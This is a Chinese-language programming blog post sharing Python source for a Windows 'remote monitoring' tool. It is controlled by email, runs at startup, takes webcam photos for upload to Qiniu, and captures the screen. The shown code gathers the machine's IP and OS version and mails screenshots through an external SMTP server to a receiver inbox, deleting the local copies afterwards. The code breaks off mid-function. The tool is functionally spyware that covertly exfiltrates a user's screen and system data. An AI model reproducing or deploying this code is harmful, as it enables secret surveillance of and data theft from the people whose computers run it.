最近用python寫了一個遠程監控的程序,主要功能有:
1.用郵件控制所以功能
2.可以對屏幕截圖,屏幕截圖發送到郵箱
3.可以用攝像頭獲取圖片,這些圖片上傳到七牛
4.開機自啟動
代碼如下:#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申請
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#獲取ip
def getIP():
ip=socket.gethostbyname(socket.gethostname())
return ip
#獲取操作系統版本、
def getSystemVersion():
return platform.platform()
def send_Information(ip,system_version):
info='ip:'+ip+' '+'system version:'+system_version
print info
smtp=smtplib.SMTP()
smtp.connect('smtp.sina.com')
smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼
smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個郵箱
#截圖,圖片名為截圖時間
def screen_capture():
#獲取截圖時間
pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name='screen'+pic_time+'.jpg'
pic = ImageGrab.grab()
pic.save('%s' % pic_name)
print pic_name
#發送圖片
send_Img(pic_time,pic_name)
print pic_name
os.remove(pic_name)#刪除圖片
#發送截圖圖片到郵箱
def send_Img(pic_time,pic_name):
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = pic_time
msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')
msgRoot.attach(msgText)
#fp = open('F://1.jpg', 'rb')
fp = open(pic_name, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image1>')
msgRoot.attach(msgImage)
smtp = smtplib.SMTP()
smtp.connect('smtp.sina.com','25')
新聞熱點
疑難解答